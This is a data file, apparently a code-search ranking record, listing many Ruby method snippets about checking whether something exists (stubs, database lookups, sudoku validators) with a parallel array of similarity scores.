[ "def existent; end", "def exists?; end", "def exist?(key)\n raise \"subclass responsibility\"\n end", "def exist?\n raise NotImplementedError\n end", "def exist\n\treturn true\n end", "def existeYa(tabla, id)\r\n\tif tabla.empty?\r\n\t\treturn false\r\n\telse\r\n\t\treturn tabla.has_key?(id)\r\n\tend\r\nend", "def sos_piedra?() raise NotImplementedError end", "def on_exists_proc=(_arg0); end", "def exists?()\n end", "def exists?\n fail NotImplementedError\n end", "def exist?\n NotImplemented\n end", "def exist?\n NotImplemented\n end", "def exists?()\n #This is a stub, used for indexing\n end", "def exists?(key)\n raise \"Method not implemented. Called abstract class.\"\n end", "def exist?(key)\n raise NotImplementedError\n end", "def exist?(key)\n\n end", "def controllaInizio( pippo)\n if INIZIO == 1 && FINE > INIZIO\n return true\n else\n ultimoBook = Book.last\n end \n #ultimoBook = Book.last #<<=== cambiare (commentandola) questa istruzione per il primo ciclo di bidoni\n if INIZIO == ultimoBook.id+1 # 1 <<=== cambiare questa istruzione (mettere: INIZIO == 1) per il primo ciclo di bidoni\n return true\n else\n pippo.scriviRiga(\"Ultimo record in tabella books ha valore: #{ultimoBook.id}\") if INIZIO > 1\n return false\n end\nend", "def exist?\n not self.name.nil?\n end", "def valid_sudoku(table)\n \nend", "def valid_sudoku(table)\n raise NotImplementedError, \"Method hasn't been implemented yet!\"\nend", "def valid_sudoku(table)\n raise NotImplementedError, \"Method hasn't been implemented yet!\"\nend", "def valid_sudoku(table)\n raise NotImplementedError, \"Method hasn't been implemented yet!\"\nend", "def valid_sudoku(table)\n raise NotImplementedError, \"Method hasn't been implemented yet!\"\nend", "def valid_sudoku(table)\n raise NotImplementedError, \"Method hasn't been implemented yet!\"\nend", "def valid_sudoku(table)\n raise NotImplementedError, \"Method hasn't been implemented yet!\"\nend", "def valid_sudoku(table)\n raise NotImplementedError, \"Method hasn't been implemented yet!\"\nend", "def valid_sudoku(table)\n raise NotImplementedError, \"Method hasn't been implemented yet!\"\nend", "def valid_sudoku(table)\n raise NotImplementedError, \"Method hasn't been implemented yet!\"\nend", "def valid_sudoku(table)\n raise NotImplementedError, \"Method hasn't been implemented yet!\"\nend", "def valid_sudoku(table)\n raise NotImplementedError, \"Method hasn't been implemented yet!\"\nend", "def valid_sudoku(table)\n raise NotImplementedError, \"Method hasn't been implemented yet!\"\nend", "def valid_sudoku(table)\n raise NotImplementedError, \"Method hasn't been implemented yet!\"\nend", "def valid_sudoku(table)\n raise NotImplementedError, \"Method hasn't been implemented yet!\"\nend", "def valid_sudoku(table)\n raise NotImplementedError, \"Method hasn't been implemented yet!\"\nend", "def valid_sudoku(table)\n raise NotImplementedError, \"Method hasn't been implemented yet!\"\nend", "def valid_sudoku(table)\n raise NotImplementedError, \"Method hasn't been implemented yet!\"\nend", "def valid_sudoku(table)\n raise NotImplementedError, \"Method hasn't been implemented yet!\"\nend", "def valid_sudoku(table)\n raise NotImplementedError, \"Method hasn't been implemented yet!\"\nend", "def valid_sudoku(table)\n raise NotImplementedError, \"Method hasn't been implemented yet!\"\nend", "def valid_sudoku(table)\n raise NotImplementedError, \"Method hasn't been implemented yet!\"\nend", "def valid_sudoku(table)\n raise NotImplementedError, \"Method hasn't been implemented yet!\"\nend", "def valid_sudoku(table)\n raise NotImplementedError, \"Method hasn't been implemented yet!\"\nend", "def exist?(id)\n @names.key?(id)\n end", "def nonexisting_name\n\t\t\t\treturn self unless self.may_exist?\n\t\t\t\tnew_name(Proc.new {|f| !f.may_exist?}) do |old_name, ind|\n\t\t\t\t\told_name.append_name(\"%02d\" % ind)\n\t\t\t\tend\n\t\t\tend", "def exist?\n true\n end", "def exists?\n false\n end", "def exists?\n false\n end", "def exist? (name)\n @by_id[name.to_s]\n end", "def exists?\n true\n end", "def not_found; end", "def almacenar(nombre)\n\t\narray = Tarea.all\n@@existente = false\narray.each{|x| @@existente = true if /#{nombre}/.match(x[\"title\"])}\n\t\nunless @@existente \nTarea.create(\"#{nombre} #{@@usuario}\")\n\nend\n@@existente\nend", "def element_id_exists_method? meth\n meth.to_s[-1].eql?('?')\n end", "def exist? \n !DB.execute(\"SELECT name FROM students WHERE Id = ? \", @id).empty?\n end", "def on_exists_proc; end", "def exists\n self.class.exists(@name)\n end", "def in_table?(key)\n (@subroutine.key?(key) || @class.key?(key))\n end", "def exists(*args); end", "def exists?(key)\n unimplemented\n end", "def exists!\n @exists = true\n end", "def exists?(item)\n raise NotImplementedError, \"#{__method__} has not been implemented for this #{name} index\"\n end", "def exists?( arg )\n begin\n super( arg )\n rescue PermissionFailure\n return true;\n end\n end", "def exists?\n\t\treturn false\n\tend", "def continue_on_exists_proc=(_arg0); end", "def suivre; end", "def sujet_existe? sujet\n found = false\n PPStore::new(app.pstore_new_sujets).transaction do |ps|\n ps.roots.collect do |root|\n next if root == :last_id\n if ps[root][:titre] == sujet\n found = true\n break\n end\n end\n end\n return found\n end", "def dictionary_exist?(dic_name)\n\t\t@db::Dictionary.where(:title => dic_name).present?\n\tend", "def exist?\n !count.zero?\n end", "def add_if_not_exists()\n\tif record_exists()\n\t\tprintf(\"EXISTS %s\\n\",self.digest)\n\t\treturn 0\n\tend\n\tsave()\n\treturn 1\nend", "def fcreates(fname sname)\n if fexistf fname\n if not eval \"$#{fname}['#{fname},slots'].member? sname\"\n eval \"${fname}['#{fname},slots'].add sname\"\n eval \"${fname}['#{sname},facets'] = Set.new\"\n return true\n else \n return false\n end\n else\n return false\n end\nend", "def exist?(cccc)\n not find_data_by_cccc(cccc).nil?\n end", "def resource_exists?\n ciudades\n end", "def taxonExists? oldtaxon, seq, seqName\n if oldtaxon.has_key?(\"#{seqName}\")\n if seq.to_s != oldtaxon[\"#{seqName}\"].to_s\n # puts \"---------------= VS =------------------\"\n addNewSeq(seqName,seq)\n end\n else\n # puts \"oldtaxon has not that key\"\n addNewSeq(seqName,seq)\n end\nend", "def exist?\n @exists\n end", "def exist?\n nil\n end", "def exists(_obj)\n raise NotImplementedError\n end", "def somme\n fail \"Doit etre defini dans la sous-classe\"\n end", "def notification_exist?(id: nil)\n not_implemented(__method__)\n end", "def contains\n \t\tfalse\n\tend", "def save()\n if(@sup_id && @sup_id != 0) #if the row already exists\n update()\n else\n if(! Supplier.check_if_name_exists(@sup_name))\n insert()\n return true\n else\n return false\n end\n end\n end", "def element_id_exists_method?(method)\n method.to_s[-1].eql?('?')\n end", "def barco_hundido(id_barco)\n ret = true\n for x in 0..4\n for y in 0..4\n if @tablero[[x,y]] == id_barco\n ret = false\n end\n end\n end\n if ret\n return \"hundido\"\n else\n return \"acierto\"\n end\n end", "def is_existing_exercise(db, name)\n exercises_arr = db.execute(\"SELECT name FROM exercises\")\n exercises_arr.each do |exercise|\n if exercise[0] == name\n return true\n end\n end\n return false\nend", "def check_if_record_exists\n\tif MenuItem.exists?(:name =>self.name,:vendor_id=>self.vendor_id)\n\t\tputs\"This record already exists\"\n\t\tthrow:abort\n\telse\n\t\treturn true\n\tend\n end", "def table_exist?(table_name)\n res = run_single_result(\"SELECT COUNT(*) FROM X$File\n WHERE Xf$Name = '#{table_name}'\")\n res == 1\n end", "def check_record; end", "def unique_record_check(record,row)\n #recupero tutte le info necessarie per memorizzare la chiave primaria\n plot_id = Plot.find(:first,:conditions => [\"numero_plot = ? AND deleted = false\",record.cod_plot]).id\n active_campaign_id = Campagne.find(:first,:conditions => [\"active = true\"]).id\n file = ImportFile.find(session[:file_id])\n #cerco la chiave primaria\n pk = Copl.find(:first,:conditions => [\"campagne_id = ? AND plot_id = ? AND subplot = ? AND in_out = ? AND priest = ? AND file_name_id = ? AND import_num = ?\", active_campaign_id, plot_id, record.subplot, record.in_out, record.priest, file.id, file.import_num])\n #se giร  รจ presente\n if pk\n #salvo l'errore\n save_error(record,\"Duplicate row\",row)\n #segnalo che c'รจ stato un errore sulla riga\n session[:row_error] = true\n #e segnalo l'errore sul file\n session[:file_error] = true\n end\n end", "def fcreated(fname, sname, dname)\n if fexists fname, sname\n if not eval \"$#{fname}['#{sname},facets'].include? dname\"\n eval \"$#{fname}['#{sname},{dname}'] = ''\"\n eval \"$#{fname}['#{sname},facets'].add dname\"\n return true\n else\n return false\n end\n else\n return false\n end\nend", "def field_exists?(storage_name, field_name)\n raise NotImplementedError\n end", "def table_exists?\n true\n end", "def exist? ; ! @element.nil? ; end", "def not_a_duplicate\n if Handbag.find_by(brand: brand, color: color, designer_id: designer_id)\n errors.add(:brand, 'is already in database')\n end\nend", "def zuruecksetzen()\n end", "def exists?(identifier, configuration = {}); true; end", "def define_table( name, or_return_existing = false )\n name_string = name.to_s\n\n @monitor.synchronize do \n if @tables.member?(name_string) then\n assert(or_return_existing, \"cannot create duplicate table [#{name_string}]\")\n else\n create_table(name).use do |table|\n yield(table)\n @tables.register(table, name_string)\n end\n end\n end\n \n @tables[name_string]\n end", "def exists?(*args); end", "def exist?(name, options = T.unsafe(nil)); end", "def r_tabla?(accion)\n\t\tRecurso::TABLE_ACTIONS.include?(accion)\n\tend", "def exists?\n vnic\n end", "def funktionsname\n\tanweisung\nend", "def exist_name(name)\n @names.value?(name)\n end", "def exists?(object); end" ]
[ "0.66568416", "0.6376432", "0.5918515", "0.590987", "0.583833", "0.58084697", "0.5792848", "0.5790661", "0.57838273", "0.5777358", "0.57430226", "0.57430226", "0.5725476", "0.57026935", "0.5675756", "0.56644624", "0.56421083", "0.5632461", "0.56090045", "0.5591018", "0.5591018", "0.5591018", "0.5591018", "0.5591018", "0.5591018", "0.5591018", "0.5591018", "0.5591018", "0.5591018", "0.5591018", "0.5591018", "0.5591018", "0.5591018", "0.5591018", "0.5591018", "0.5591018", "0.5591018", "0.5591018", "0.5591018", "0.5591018", "0.5591018", "0.5591018", "0.55462897", "0.5497777", "0.549495", "0.5482863", "0.5482863", "0.5476489", "0.54744744", "0.5455811", "0.54524595", "0.5410507", "0.53874314", "0.5386556", "0.5386464", "0.5380585", "0.53461546", "0.5344246", "0.53381526", "0.5337746", "0.5329644", "0.5329117", "0.53269744", "0.5322515", "0.53081703", "0.5294121", "0.52842724", "0.5280168", "0.52793527", "0.52653134", "0.5260941", "0.5259949", "0.52567655", "0.52512574", "0.5235658", "0.52323085", "0.523202", "0.52310604", "0.52278864", "0.5223039", "0.52184004", "0.5206982", "0.5202623", "0.5199562", "0.51994985", "0.5184199", "0.51807195", "0.5177352", "0.51767063", "0.5174605", "0.5173826", "0.516186", "0.51592225", "0.5156476", "0.51544684", "0.51349396", "0.5134222", "0.51328075", "0.51282096", "0.512571", "0.5123932" ]
0.0
-1
1. use two pointers 2. find the index where both array has same the element 3. iterate arrays until two elements are different 4. if different, return false, othwerwise return true
def is_rotation(a, b) # 1) use two pointers ptr_a = 0 ptr_b = 0 # 2) find the index where both array has same the element while ptr_b < b.length break if a[ptr_a] == b[ptr_b] ptr_b += 1 end # 3) iterate arrays until two elements are different a.each do |num| # 4) if different, return false return false if num != b[ptr_b] ptr_b = (ptr_b + 1) % b.length end # othwerwise return true return true end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def array_equals(array1, array2)\n #if the arrays are different lengths, will return false\n if array1.length != array2.length\n return false\n end\n\n # compares each element of array, starting at index[0]\n # if they are not equivalent at any point, then it will return false\n # else it will return true when completed \n x = 0\n array1.length.times do\n if array1[x] != array2[x]\n return false\n end\n x += 1\n end\n return true\nend", "def array_equals(array1, array2)\n count1 = (array1 == nil) ? 0 : array1.length\n count2 = (array2 == nil) ? 0 : array2.length\n return false if count1 != count2\n count1.times do |i|\n array1[i] == array2[i] ? next : (return false)\n end\n return true\nend", "def array_equals(array1, array2)\n\n if array1 == nil && array2 == nil\n return true\n elsif array1 == nil && array2 != nil\n return false\n elsif array1 != nil && array2 == nil\n return false\n elsif array1 == [] && array2 == []\n return true\n end\n\n array1_length = 0\n array1.each do |element|\n array1_length = array1_length + 1\n end\n\n array2_length = 0\n array2.each do |element|\n array2_length = array2_length + 1\n end\n\n if array1_length == array2_length\n index1 = 0\n array1_length.times do\n if (array1[index1] == array2[index1])\n index1 = index1 + 1\n else\n return false\n end\n end\n return true\n else\n return false\n end\nend", "def array_equals(array1, array2)\n if array1 == nil && array2 == nil \n return true \n end \n\n if array1 == nil || array2 == nil \n return false \n end \n \n first_length = 0\n sec_length = 0 \n i = 0 \n while array1[first_length] != nil \n first_length += 1 \n end \n\n while array2[sec_length] != nil \n sec_length += 1 \n end \n\n if first_length != sec_length \n return false \n end \n\n while i < first_length do\n if array1[i] == array2[i]\n else \n return false \n end \n\n i += 1 \n end\n\n return true \n \nend", "def array_equals(array1, array2)\n if array1.length == array2.length\n number = array1.length\n number.times do |i|\n if array1[i] != array2[i] \n return false\n end\n end\n return true\n end \n return false\nend", "def array_equals(array1, array2)\nif array1 == nil && array2 == nil\n return true\nelsif array1 == nil || array2 == nil\n return false\nend\n\n\n\nif array1.length != array2.length\n return false\n\nend\n\n\narray1.length.times do |index|\n\n if array1[index] != array2[index]\n return false\n end\nend\n\n\n\n\nreturn true\n\nend", "def array_equals(array1, array2)\n return true if array1.nil? && array2.nil?\n return false if array1.nil? && !array2.nil? ||\n !array1.nil? && array2.nil? ||\n array1.length != array2.length\n \n array_length = array1.length || array2.length\n\n until array_length == 0\n return false if array1[array_length] != array2[array_length]\n array_length -= 1 \n end\n\n return true\nend", "def check_positions(array)\n array.each do |a|\n array.each do |b|\n next if a == b\n return false if a[1] == b[1] || a[2] == b[2]\n end\n end\n\n return true\nend", "def array_equals(array1, array2)\n if array1.nil? && array2.nil?\n return true\n end\n\n if array1 == nil || array2 == nil\n return false\n end\n\n if array1.length != array2.length\n return false\n end\n\nmatching_elem = Hash.new\n\ni = 0\nwhile i < array1.length\n elem = array1[i]\n if matching_elem[elem]\n matching_elem[elem] += 1\n else\n matching_elem[elem] = 1\n end\n i += 1\nend\n\ni = 0\nwhile i < array2.length\n elem = array2[i]\n if matching_elem[elem]\n matching_elem[elem] -= 1\n elsif matching_elem[elem] && matching_elem[elem] < 0\n return false\n else\n return false\n end\n i += 1\nend\n\nreturn true\n# x = \"\"\n# same_count =\n# same_elements =\n# elements_match = 0\n# first_array_counter = 0\n# second_array_counter = 0\n#\n# array1.each_index do |i|\n# i += 1\n# first_array_counter += i\n# end\n# print first_array_counter\n#\n# array2.each_index do |i|\n# i += 1\n# second_array_counter += i\n# end\n# print second_array_counter\n#\n# # list_one = array1.size\n# # list_two = array2.size\n#\n# if first_array_counter == second_array_counter\n# same_count = true\n# elsif array1 == nil && array2 == nil\n# same_elements = true\n# elsif array1 == nil && array2 != nil\n# same_elements = false\n# elsif array2 == nil && array1 != nil\n# same_elements = false\n# else\n# same_count = false\n# end\n#\n# if same_count == true\n# first_array_counter.times do |i|\n# if array1[i] == array2[i]\n# elements_match += 1\n# end\n# end\n# end\n#\n# if elements_match == (first_array_counter) && elements_match == (second_array_counter)\n# same_elements = true\n# end\n#\n# if same_count == same_elements\n# x = true\n# else\n# x = false\n# end\n#\n# return x\nend", "def array_equals(array1, array2)\n\n return true if array1 == array2\n\n return false if array1 == nil\n return false if array2 == nil\n\n array1_length = array1.length\n array2_length = array2.length\n if array1_length != array2_length\n return false\n end\n\n i = 0\n array1.length.times do\n return false if array1[i] != array2[i]\n i += 1\n end\n\nend", "def array_equals(array1, array2)\n if array1 == nil && array2 == nil \n return true \n elsif array1 == nil || array2 == nil \n return false\n else\n if array1.length == array2.length #if neither are nil, check their length\n array1.zip(array2).each do |x, y| #if the length is the same, iterate thru both arrays\n if x != y \n return false\n end\n end\n return true\n else \n return false\n end\n end\nend", "def array_equals(array1, array2)\n # false if \n # different length\n # different element value\n # different order\n if (array1 == nil && array2 == nil )|| (array1 == [] && array2 == [])\n return true\n end\n\n if (array1 == [] || array2 == []) || (array1 == nil || array2 == nil)|| (array1.length != array2.length )\n return false \n end \n\n n = 0\n array1.each do |element|\n if element != array2[n]\n return false\n end\n n += 1\n end\n\n return true\n\nend", "def array_equals(array1, array2)\n if array1 == nil || array2 == nil\n if array1 == nil && array2 == nil\n return true\n else\n return false\n end\n elsif array1.length == array2.length\n index = 0\n array1.length.times do\n if array1[index] != array2[index]\n return false\n end\n index += 1\n end\n return true\n else\n return false\n end\nend", "def array_equals(array1, array2)\n is_equal = false\n \n if array1 == nil || array2 == nil\n if array1 == nil && array2 == nil\n is_equal = true\n end\n elsif array1.length == array2.length\n is_equal = true\n \n array1.length.times do |index|\n if array1[index] != array2[index]\n is_equal = false\n break\n end\n end \n end \n return is_equal\nend", "def array_equals(array1, array2)\n # edge cases\n if (array1 == nil) || (array2 == nil)\n return (array1 == nil) && (array2 == nil)\n end\n if (array1 == []) && (array2 == [])\n return true\n end\n # count both and save to vars to compare\n array1_length = 0\n i1 = 0\n while array1[i1] != nil\n i1 += 1\n array1_length += 1\n end\n array2_length = 0\n i2 = 0\n while array2[i2] != nil\n i2 += 1\n array2_length += 1\n end\n if array1_length != array2_length\n return false\n end\n # loop through each index for both and compare\n i = 0\n array1_length.times do\n if array1[i] == array2[i]\n i += 1\n elsif array1[i] != array2[i]\n return false\n end\n end\n return true\nend", "def array_equals(array1, array2)\n \n return true if (array1.nil? && array2.nil?) # if both cases are nil\n return false if (array1.nil? || array2.nil?) # if one case is nil\n return false if array1.length != array2.length\n\n array1.length.times do |index|\n return false if array1[index] != array2[index]\n end\n\n return true\nend", "def arrays_matching(arr1, arr2)\n if arr1.length != arr2.length\n return false\n else\n lib = {}\n for i in 0..arr1.length-1\n lib[arr1[i]] = true\n end\n for j in 0..arr2.length-1\n if lib[arr2[j]] == nil\n return false\n end\n end\n return true\n end\nend", "def array_equals(array_1, array_2)\n # Handle nil cases\n if array_1 == nil && array_2 == nil\n return true\n elsif array_1 == nil || array_2 == nil\n return false \n end \n\n # Count 'em \n length_1 = 0\n length_2 = 0\n until array_1[length_1] == nil\n length_1 += 1\n end \n until array_2[length_2] == nil\n length_2 += 1\n end \n\n # Check equal lengths\n if length_1 != length_2 \n return false\n end \n\n # Compare values \n k = 0\n until k == length_1\n if array_1[k] != array_2[k]\n return false\n end \n k += 1 \n end \n return true \nend", "def array_equals(array1, array2)\n if array1 == nil && array1 == array2\n return true\n elsif array1.nil? || array2.nil?\n return false\n end\n return false if array1.length != array2.length\n array1.length.times do |x|\n if array1[x] != array2[x]\n return false\n end\n end\n return true\nend", "def array_equals(array1, array2)\n answer = true\n if array1 == nil && array2 == nil\n return answer\n elsif array1 == nil && array2 != nil || \\\n array2 == nil && array1 != nil || \\\n array1.length != array2.length\n\n answer = false\n else\n array1.each_with_index do |elem, index|\n if answer == false\n return answer\n else\n elem == array2[index] ? answer = true : answer = false\n end\n end\n end\n return answer\nend", "def array_equals(array1, array2)\n if array1 == nil && array2 == nil\n return true\n elsif array1 == nil || array2 == nil\n return false\n elsif array1.length != array2.length\n return false\n elsif array1.length == array2.length\n element_count = 0\n array1.length.times do |x|\n if array1[x] == array2[x]\n element_count += 1\n else\n return false\n end\n end\n end\n\n if array1.length == element_count\n return true\n end\nend", "def array_equals(array1, array2)\n\n if array1 == nil && array2 == nil\n return true\n end\n\n if array1 == nil && array2 != nil\n return false\n end\n\n if array2 == nil && array1 != nil\n return false\n end\n\n if array1.length == 0 && array2.length == 0\n return true\n end\n\n if array1.length == 0 && array2.length != 0\n return false\n end\n\n if array2.length == 0 && array1.length != 0\n return false\n end\n\n idx = 0\n array1.length.times do\n if array1[idx] == array2[idx]\n idx +=1\n end\n end\n\n if idx == (array1.length) && idx == array2.length\n return true\n else\n return false\n end\nend", "def array_equals(array1, array2)\n if array1 == nil && array2 == nil\n return true\n elsif array1 == nil || array2 == nil\n return false\n end\n\n array1_length = array1.length\n array2_length = array2.length\n if array1_length == array2_length\n array1_length.times do |index|\n if array1[index] != array2[index]\n return false\n end\n end\n return true\n end\n return false\n \n raise NotImplementedError\n\nend", "def array_equals(array1, array2)\n # raise NotImplementedError\n if array1.nil? && array2.nil?\n return true\n elsif array1.nil? || array2.nil? || array1.length != array2.length \n return false \n else\n index = 0\n while index < array1.length\n return false if array1[index] != array2[index] \n index += 1\n end \n end\n return true\nend", "def array_equals(array1, array2)\n # raise NotImplementedError\n if !(array1.nil?) && !(array2.nil?)\n difference_count = 0\n if array1.length == array2.length\n array1.length.times do |i|\n difference_count += 1 if array1[i] != array2[i]\n end\n if difference_count != 0 \n return false\n end\n else\n return false\n end\n elsif array1.nil? && !(array2.nil?)\n return false\n elsif array2.nil? && !(array1.nil?)\n return false\n end\n\n return true\nend", "def arrays_equivalent(array1, array2)\n return true if array1 == array2\n return false unless array1 && array2 # either one is nil\n\n array1.count == array2.count && (array1 - array2).empty? && (array2 - array1).empty?\n end", "def array_equals(array1, array2) \n # list of 2 arrays \n # array1 = [10, 20, 30, 40, 50, 60] # 6 > return true otherwise false\n # array2 = [10, 20, 30, 40, 50, 60] # 6\n\n if array1 == nil && array2 == nil\n return true\n end\n\n if array1 == nil || array2 == nil\n return false\n end\n\n # if the two arrays are of different length\n if array1.length != array2.length\n return false\n end\n\n # take each element in ar1 and in ar2\n array1.each_with_index do | ar1_el, index |\n ar2_el = array2[index]\n\n # if ar1_el is not the same as ar2_el\n if ar1_el != ar2_el\n return false\n end \n end\n # otherwise return true because they all are similar\n return true\nend", "def array_equals(array1, array2)\n return true if array1 == array2\n return false if array1 == nil || array2 == nil || array1.length != array2.length\n \n i = 0\n while i <= array1.length \n return false if array1[i] != array2[i]\n i += 1\n end\n return true \n # raise NotImplementedError\nend", "def array_equals(array1, array2)\n # checks edgecases first, return values will stop method due to short-circuit \n \n if array1 == nil && array2 == nil\n return true\n end\n \n if array1 == [] && array2 == []\n return true\n end\n \n if array1 == nil && array2 != nil\n return false\n end\n \n if array2 == nil && array1 != nil \n return false\n end\n \n if array1.length != array2.length\n return false\n end\n \n # checks index-by-index for equivalency\n piecewise = true\n array1.each.with_index do |value, index|\n if array1[index] != array2[index]\n piecewise = false\n end\n end\n return piecewise\nend", "def array_equals(array1, array2)\n return true if array1 == nil && array2 == nil\n return false if !array1 or !array2\n return true if array1 == [] && array2 == []\n return false if array1.length != array2.length\n\n array1.length.times do |index|\n return array1[index] != array2[index] ? false : true\n end\nend", "def array_equals(array1, array2)\n return array1.nil? && array2.nil? if array1.nil? || array2.nil?\n is_equal = array1.length == array2.length\n index = 0\n while is_equal && index < array1.length\n is_equal = array1[index] == array2[index]\n index += 1\n end\n return is_equal\nend", "def array_equals(array1, array2)\n i = 0\n\n if (array1 == nil && array2 == nil) || (array1 == [] && array2 == [])\n return true\n elsif array1 == nil || array2 == nil\n return false\n end\n\n if array1.length == array2.length\n until i > array1.length\n if array1[i] != array2[i]\n return false\n end\n i += 1\n end\n return true\n end\n return false\nend", "def array_equals(array1, array2)\n #raise NotImplementedError\n#Check for the nil class first because array methods will not work\n if array1 == nil || array2 == nil\n if array1 == nil && array2 == nil\n return true\n else\n return false\n end\n end\n\n#Check for empty arrays\n if array1[0]==nil && array2[0]==nil\n return true\n elsif (array1[0] == nil) || (array2[0] == nil)\n return false\n end\n\n#Now we know that at least both arrays have elements we can determine their length\n#and look at each element to see if each index is the same.\n len1 = array1.length\n len2 = array2.length\n\n if len2 != len1\n return false\n end\n\n\n len1.times do |index|\n if array1[index] != array2[index]\n return false\n end\n end\n return true\nend", "def array_equals(array1, array2)\n evaluation = \"\"\n if array1 == nil && array2 == nil || array1 == array2\n evaluation = true\n elsif\n array1 == nil || array2 == nil\n evaluation = false\n elsif\n array1.length == array2.length\n index = array1.length\n until index < 0 || evaluation == false\n index -= 1\n if array1[index] == array2[index]\n evaluation = true\n else\n evaluation = false\n end\n end\n else\n evaluation = false\n end\n evaluation\nend", "def arrays_equal(arr1, arr2)\n if arr1.length != arr2.length\n return false\n end\n for i in 0..arr1.length-1\n if arr1[i] != arr2[i]\n return false\n end\n end\n return true\nend", "def arrays_equal(arr1, arr2)\n if arr1.length != arr2.length\n return false\n end\n for i in 0..arr1.length-1\n if arr1[i] != arr2[i]\n return false\n end\n end\n return true\nend", "def arrays_equal(arr1, arr2)\n if arr1.length != arr2.length\n return false\n end\n for i in 0..arr1.length-1\n if arr1[i] != arr2[i]\n return false\n end\n end\n return true\nend", "def arrays_equal(arr1, arr2)\n if arr1.length != arr2.length\n return false\n end\n for i in 0..arr1.length-1\n if arr1[i] != arr2[i]\n return false\n end\n end\n return true\nend", "def arrays_equal(arr1, arr2)\n if arr1.length != arr2.length\n return false\n end\n for i in 0..arr1.length-1\n if arr1[i] != arr2[i]\n return false\n end\n end\n return true\nend", "def arrays_equal(arr1, arr2)\n if arr1.length != arr2.length\n return false\n end\n for i in 0..arr1.length-1\n if arr1[i] != arr2[i]\n return false\n end\n end\n return true\nend", "def arrays_equal(arr1, arr2)\n if arr1.length != arr2.length\n return false\n end\n for i in 0..arr1.length-1\n if arr1[i] != arr2[i]\n return false\n end\n end\n return true\nend", "def array_equals(array1, array2)\n comparison_array = []\n\n if array1 == nil && array2 == nil\n return true\n\n elsif array1 == nil && array2 != nil\n return false\n\n elsif array2 == nil && array1 != nil\n return false\n\n elsif array1.length == array2.length\n final_answer = \"same\"\n\n i = 0\n while i < array1.length\n if array1[i] == array2[i]\n comparison_array << 1\n else\n comparison_array << 0\n end\n i += 1\n end\n\n comparison_array.length.times do |x|\n if comparison_array[x] == 0\n final_answer = \"different\"\n end\n end\n\n if final_answer == \"same\"\n return true\n else\n return false\n end\n\n else\n return false\n end\n\n\nend", "def array_equals(array1, array2)\n if array1 == nil && array2 == nil\n return true\n end\n\n #assuming one of these arrays has data\n #if one of them is nil, then the other has data which causes different lengths\n #thus should fail\n if array1 == nil || array2 == nil\n return false\n end\n\n #at this point here, assuming both arrays have data\n if array1.length != array2.length\n return false\n end\n i = 0\n while i < array1.length\n if array1[i] != array2[i]\n return false\n end\n i += 1\n end\n return true\nend", "def array_equals(array1, array2)\n \n if array1 == nil && array2 == nil\n return true\n elsif array1 == nil || array2 == nil\n return false\n elsif !(array1.length == array2.length)\n return false\n end\n \n equal_array = []\n array1.length.times do |index|\n equal = (array1[index] == array2[index])\n equal_array << 1 if !equal\n end\n \n (equal_array.length == 0) ? (return true) : (return false)\n \nend", "def array_equals(arr1, arr2)\n if (arr1 == [] && arr2 == [] || arr1 == nil && arr2 == nil)\n return true\n elsif arr1 == nil || arr2 == nil || arr1.length != arr2.length\n return false \n else\n arr1.length.times do |num|\n if arr1[num] != arr2[num]\n return false\n end\n end\n return true\n end\nend", "def array_equals(array1, array2)\n# This check needs to be done before or\nif array1 == nil && array2 == nil \n return true\nend\n\nif array1 == nil || array2 == nil\n return false\nend\n\nif array1.length != array2.length\n return false\nend\n\ncounter = 0\nwhile counter < array1.length\n unless array1[counter] == array2[counter]\n return false\n end\n counter += 1\nend\nreturn true\nend", "def on2(numbers)\n numbers.each_with_index do |number, index|\n numbers.each_with_index do |another_number, another_index|\n next if index == another_index\n\n return true if number == another_number\n end\n end\n\n false\n end", "def array_equals(array1, array2)\n\n if (array1 == nil && array2 == nil) || (array1 == [] && array2 == [])\n return true \n elsif (array1 == nil || array2 == nil) || (array1.length != array2.length)\n return false\n end \n\n i = 0\n while i < array1.length \n if array1[i] != array2[i]\n return false \n end \n\n i += 1\n end\n \n return true\nend", "def is_one_away(a, b)\n ptr_a = 0\n ptr_b = 0\n one_away = false\n # 1)\n if a.length == b.length\n # 2)\n for i in 0...(a.length)\n if a[i] != b[i] && !one_away\n one_away = true\n elsif a[i] != b[i] && one_away\n return false\n end\n return true\n end\n else # 3)\n if (a.length - b.length).abs > 1\n return false\n elsif a.length > b.length\n for i in 0...(a.length)\n if a[i] == b[ptr_b]\n ptr_b += 1\n elsif a[i] != b[ptr_b] && !one_away\n one_away = true\n elsif a[i] != b[ptr_b] && one_away\n return false\n end\n end\n return true\n elsif a.length < b.length\n for i in 0...(b.length)\n if b[i] == a[ptr_a]\n ptr_a += 1\n elsif b[i] != a[ptr_a] && !one_away\n one_away = true\n elsif b[i] != a[ptr_a] && one_away\n return false\n end\n end\n return true\n end\n end\nend", "def cafe_orders(arr1, arr2, serve)\n first_idx = 0\n second_idx = 0\n serve_idx = 0\n while serve_idx < serve.length\n if (arr1[first_idx] == serve[serve_idx] && first_idx < arr1.length)\n first_idx += 1\n elsif (arr2[second_idx] == serve[serve_idx] && second_idx < arr2.length)\n second_idx += 1\n else\n return false\n end\n serve_idx += 1\n end\n first_idx == arr1.length && second_idx == arr2.length\nend", "def isReflexive?(pairs)\r\n pairs = []\r\n if\r\n pairs.each.do |x|\r\n if x == x + 1\r\n end\r\n return true\r\n # iterate over arrays\r\n # return true if one array contains matching values\r\n else\r\n return false\r\n end\r\nend", "def ana_array(arr1, arr2) \n counter1 = Hash.new(0)\n counter2 = Hash.new(0)\n\n arr1.each do |ele|\n counter1[ele] += 1\n end\n\n arr2.each do |ele|\n counter2[ele] += 1\n end\n\n counter1.each_key do |key|\n if counter2.key?(key) \n if counter2[key] != counter1[key]\n return false\n end\n else \n return false\n end \n end\n \n counter2.each_key do |key|\n if counter1.key?(key) \n if counter1[key] != counter2[key]\n return false\n end\n else \n return false\n end \n end\n return true\n \nend", "def got_three? array\n\tarray.each.with_index{|x,i| return true if (x == array[i+1] && x == array[i+2])}\n\treturn false\nend", "def array_equals(array1, array2)\n \n # CHECK if arguments valid\n if (array1.class != Array) || (array2.class != Array) \n if (array1 == nil) && (array2 == nil)\n # special edge case, will accept 2 nil args and return true\n return true\n end\n return false\n else \n if array1.length != array2.length\n return false\n else\n array1.each_with_index do |element, index|\n if element != array2[index]\n return false\n end\n end \n # if comparison has not failed by now, then their elements are equal in value & type\n return true\n end\n end\n \nend", "def areSimilar(a, b)\n count = 0\n \n for i in 0..(a.count-1)\n if a[i] != b[i]\n count += 1\n end\n end\n \n if count < 3\n if 